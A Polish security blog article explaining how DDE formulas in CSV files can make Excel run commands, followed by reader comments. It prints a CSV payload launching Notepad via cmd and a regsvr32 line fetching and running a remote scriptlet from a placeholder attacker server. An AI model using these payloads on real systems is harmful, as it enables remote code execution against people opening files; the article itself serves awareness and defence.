Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book

Jak poprzez otwarcie pliku CSV uruchomić dowolny kod w Windows?

27 grudnia 2017, 11:00 | Teksty | komentarzy 6
Tagi: ,

Jakiś czas temu w sieci mogliśmy szerzej usłyszeć o mniej znanym mechanizmie „DDE”.

Wykorzystanie „Dynamic Data Exchange” pozwala na stworzenie „formuły”, która umożliwi komunikację, np. z innymi aplikacjami, tak, abyśmy mogli np. aktualizować informacje dostępne w sieci (w naszym skoroszycie) lub innym arkuszu.

Uwaga! Obecnie wykorzystanie i uruchomienie funkcji, która posiada „aktywną treść lub linkowanie” wymaga zaakceptowania i zgody użytkownika! Stąd pole ryzyka ataku zostało ograniczone – nie mniej jednak istnieje duża szansa, że mniej doświadczony użytkownik, zaakceptuje widoczne komunikaty.

W prawie każdej aplikacji pakietu Office możemy dodać elementy związane z DDE, natomiast tam, gdzie nie jest to możliwe wystarczy załączenie wewnątrz arkusza Excel.

Stwórzmy przykładowy plik CSV, który pozwoli na uruchomienie aplikacji „Notatnik”:

Imie,Nazwisko,Ksiazka,IloscStron,Szczegoly
Jan,Nowak,Sekurak,"=8*8+cmd|' /C notepad'!A0", ToBeContinued

Zapisujemy plik z rozszerzeniem CSV, np. „notatnik.csv”. Po jego uruchomieniu zobaczymy:

 

…po czym pytanie o:

Widok z pytaniem czy chcemy uruchomić aplikację CMD.EXE może być niepokojący dla użytkownika. Istnieje wiele technik, jakie wykorzystują „przestępcy” do tego, aby zmniejszyć czujność ofiary ataku. Jedną z nich jest próba uruchomienia „przyjaznej aplikacji”, np. MSEXCEL lub NOTEPAD i poprzez wykorzystanie znaku „|” wykonanie dodatkowej komendy, które uruchomi „złośliwe polecenie”. Jakiś czas temu na Twitterze, mogliśmy zaobserwować interesujący wektor ataku (dodany przez @G0ldenGunSec) – poddajmy go niewielkiej modyfikacji:

fillerText1,fillerText2,fillerText3,=MSEXCEL|'\..\..\..\Windows\System32\regsvr32 /s /n /u /i:http://AdresIPSerweraAtakującego/SCTLauncher.sct scrobj.dll'!''

Wykorzystanie plików Shared Computer Toolkit (SCT) to jedna z metod, na proste pobranie i wykonanie kodu. Powyższy fragment zapisany do pliku *.csv, po uruchomieniu w pierwszej kolejności zapyta, czy chcemy „Włączyć automatyczną aktualizację linków”, a następnie „Czy chcemy uruchomić aplikację MSEXCEL.EXE”, jeśli zaakceptujemy te dwa komunikaty to uruchomiony zostaje arkusz… natomiast w tle pobierany jest plik z serwera atakującego, który zostanie następnie uruchomiony.

Tutaj z pomocą zapewne przychodzą „jedno linijkowe komendy” Download&Execute, które zostały (w większości) zebrane w artykule „Windows oneliners to download remote payload and execute arbitrary code”.

Warto wiedzieć: w przypadku oprogramowania Microsoft Word, mamy alternatywną formę dodania DDE, wystarczy przejść kolejno kroki:

Menu Wstawianie -> Szybkie części -> Pole -> (Formuła) -> Formuła… (przycisk) -> OK (przycisk) -> następnie należy kliknąć na szare pole, które się pojawiło i wybrać „Przełącz kody pól” -> po czym należy poddać edycji (jeśli jest taka potrzeba) widoczną formułę, tak aby pozostała według poniższego wzoru (uruchomienie aplikacji „Kalkulator”):

DDE to nie wszystko

Istnieje wiele różnych mechanizmów i rozwiązań w pakiecie Office, które pozwalają na komunikację naszego arkusza z Internetem. Zaglądając na stronę Microsoft, możemy znaleźć m.in. funkcje WEBSERVICE – która w tradycyjnym zastosowaniu pobierze kod HTML z danej strony.

Zaprezentowane w tym krótkim artykule techniki, to inne spojrzenie na „(nie)bezpieczne” pliki CSV. Warto uważać przy każdym typie plików i nigdy nie zakładać, że dany plik jest „zdecydowanie” bezpieczny.

Rekomendacja: zawsze przed uruchomieniem pliku CSV otwórzmy go, np. w Notatniku i sprawdźmy jego zawartość.

Artur Czyż

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. qwaler

    W xlsx, xls też działa. Jeżeli chodzi o DDE to jest jeszcze parę innych programów, które z niego korzystają. Matlab, narzędzia od Wonderware, są też wrappery na bibliotekę dll do Javy, Pythona tylko trzeba umieć to skonfigurować :), a z tych narzędzi można sobie wywołać dowolną komendę bez żadnych komunikatów dla użytkownika. Sprawdzone na Windows 10 x64

    Odpowiedz
  2. tmk

    Excel używa średnika jako separatora w polskiej lokalizacji, nie przecinka.

    Odpowiedz
    • Galanonim

      A gdzie ty widzisz seperatora wewnatrz funkcji? Przecinek jest seperatorem csv, stąd nazwa ;-)

      Odpowiedz
  3. Chodziło mu o to, że plik CSV zapisany przez Excela w polskiej lokalizacji separuje wartości średnikiem, a nie przecinkiem.

    Odpowiedz
  4. Jednym słowem

    Sprawdzanie zawartości przy 10000 wierszy może być dość uciążliwe a i tak formułę można przeoczyć. Bravo Microsoft!!!

    Odpowiedz
  5. it

    uciazliwe moze nie, lecz niepotrzebne marnowanie czau.

    ctrl+f
    „Znajdz” – ;0x0A lub ;¶ i zastap wszystkie …

    Odpowiedz

Odpowiedz